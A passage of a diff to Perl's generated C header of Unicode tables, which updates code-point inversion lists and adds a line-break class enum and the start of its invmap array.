-	0x1D7C3,
-	0x1D7C4,
-	0x1D7CC,
 	0x1D7CE,
 	0x1D800,
 	0x1DA00,
@@ -6533,6 +39212,8 @@
 	0x1DA76,
 	0x1DA84,
 	0x1DA85,
+	0x1DA87,
+	0x1DA8B,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -6547,189 +39228,2674 @@
 	0x1E025,
 	0x1E026,
 	0x1E02B,
-	0x1E800,
-	0x1E8C5,
 	0x1E8D0,
 	0x1E8D7,
-	0x1E900,
+	0x1E944,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
-	0x1EE00,
-	0x1EE04,
-	0x1EE05,
-	0x1EE20,
-	0x1EE21,
-	0x1EE23,
-	0x1EE24,
-	0x1EE25,
-	0x1EE27,
-	0x1EE28,
-	0x1EE29,
-	0x1EE33,
-	0x1EE34,
-	0x1EE38,
-	0x1EE39,
-	0x1EE3A,
-	0x1EE3B,
-	0x1EE3C,
-	0x1EE42,
-	0x1EE43,
-	0x1EE47,
-	0x1EE48,
-	0x1EE49,
-	0x1EE4A,
-	0x1EE4B,
-	0x1EE4C,
-	0x1EE4D,
-	0x1EE50,
-	0x1EE51,
-	0x1EE53,
-	0x1EE54,
-	0x1EE55,
-	0x1EE57,
-	0x1EE58,
-	0x1EE59,
-	0x1EE5A,
-	0x1EE5B,
-	0x1EE5C,
-	0x1EE5D,
-	0x1EE5E,
-	0x1EE5F,
-	0x1EE60,
-	0x1EE61,
-	0x1EE63,
-	0x1EE64,
-	0x1EE65,
-	0x1EE67,
-	0x1EE6B,
-	0x1EE6C,
-	0x1EE73,
-	0x1EE74,
-	0x1EE78,
-	0x1EE79,
-	0x1EE7D,
-	0x1EE7E,
-	0x1EE7F,
-	0x1EE80,
-	0x1EE8A,
-	0x1EE8B,
-	0x1EE9C,
-	0x1EEA1,
-	0x1EEA4,
-	0x1EEA5,
-	0x1EEAA,
-	0x1EEAB,
-	0x1EEBC,
+	0x1E95E,
+	0x1E960,
+	0x1F000,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F385,
+	0x1F386,
+	0x1F39C,
+	0x1F39E,
+	0x1F3B5,
+	0x1F3B7,
+	0x1F3BC,
+	0x1F3BD,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F4A0,
+	0x1F4A1,
+	0x1F4A2,
+	0x1F4A3,
+	0x1F4A4,
+	0x1F4A5,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4AF,
+	0x1F4B0,
+	0x1F4B1,
+	0x1F4B3,
+	0x1F500,
+	0x1F507,
+	0x1F517,
+	0x1F525,
+	0x1F532,
+	0x1F54A,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5D4,
+	0x1F5DC,
+	0x1F5F4,
+	0x1F5FA,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F676,
+	0x1F679,
+	0x1F67C,
+	0x1F680,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0x1FFFE,
 	0x20000,
-	0x2A6D7,
-	0x2A700,
-	0x2B735,
-	0x2B740,
-	0x2B81E,
-	0x2B820,
-	0x2CEA2,
-	0x2F800,
-	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
 	0xE0100,
 	0xE01F0
 };
 
-static const UV _Perl_IDStart_invlist[] = { /* for ASCII/Latin1 */
-	1161,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+typedef enum {
+	LB_Alphabetic = 0,
+	LB_Break_After = 1,
+	LB_Break_Before = 2,
+	LB_Break_Both = 3,
+	LB_Break_Symbols = 4,
+	LB_Carriage_Return = 5,
+	LB_Close_Parenthesis = 6,
+	LB_Close_Punctuation = 7,
+	LB_Combining_Mark = 8,
+	LB_Contingent_Break = 9,
+	LB_E_Base = 10,
+	LB_E_Modifier = 11,
+	LB_Exclamation = 12,
+	LB_Glue = 13,
+	LB_H2 = 14,
+	LB_H3 = 15,
+	LB_Hebrew_Letter = 16,
+	LB_Hyphen = 17,
+	LB_Ideographic = 18,
+	LB_Infix_Numeric = 19,
+	LB_Inseparable = 20,
+	LB_JL = 21,
+	LB_JT = 22,
+	LB_JV = 23,
+	LB_Line_Feed = 24,
+	LB_Mandatory_Break = 25,
+	LB_Next_Line = 26,
+	LB_Nonstarter = 27,
+	LB_Numeric = 28,
+	LB_Open_Punctuation = 29,
+	LB_Postfix_Numeric = 30,
+	LB_Prefix_Numeric = 31,
+	LB_Quotation = 32,
+	LB_Regional_Indicator = 33,
+	LB_Space = 34,
+	LB_Word_Joiner = 35,
+	LB_ZWJ = 36,
+	LB_ZWSpace = 37,
+	LB_EDGE = 38
+} LB_enum;
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const LB_enum _Perl_LB_invmap[] = { /* for ASCII/Latin1 */
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Line_Feed,
+	LB_Mandatory_Break,
+	LB_Carriage_Return,
+	LB_Combining_Mark,
+	LB_Space,
+	LB_Exclamation,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Open_Punctuation,
+	LB_Close_Parenthesis,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Infix_Numeric,
+	LB_Hyphen,
+	LB_Infix_Numeric,
+	LB_Break_Symbols,
+	LB_Numeric,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Prefix_Numeric,
+	LB_Close_Parenthesis,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Break_After,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Next_Line,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Open_Punctuation,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Exclamation,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Infix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Exclamation,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Numeric,
+	LB_Postfix_Numeric,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Glue,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Glue,
+	LB_Exclamation,
+	LB_Glue,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Glue,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Numeric,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_JL,
+	LB_JV,
+	LB_JT,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Glue,
+	LB_Break_After,
+	LB_ZWSpace,
+	LB_Combining_Mark,
+	LB_ZWJ,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Glue,
+	LB_Break_After,
+	LB_Break_Both,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Open_Punctuation,
+	LB_Quotation,
+	LB_Open_Punctuation,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Inseparable,
+	LB_Break_After,
+	LB_Mandatory_Break,
+	LB_Combining_Mark,
+	LB_Glue,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Infix_Numeric,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Word_Joiner,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Inseparable,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Quotation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Open_Punctuation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Break_After,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_Both,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Open_Punctuation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Nonstarter,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Combining_Mark,
+	LB_Ideographic,
+	LB_Combining_Mark,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Exclamation,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
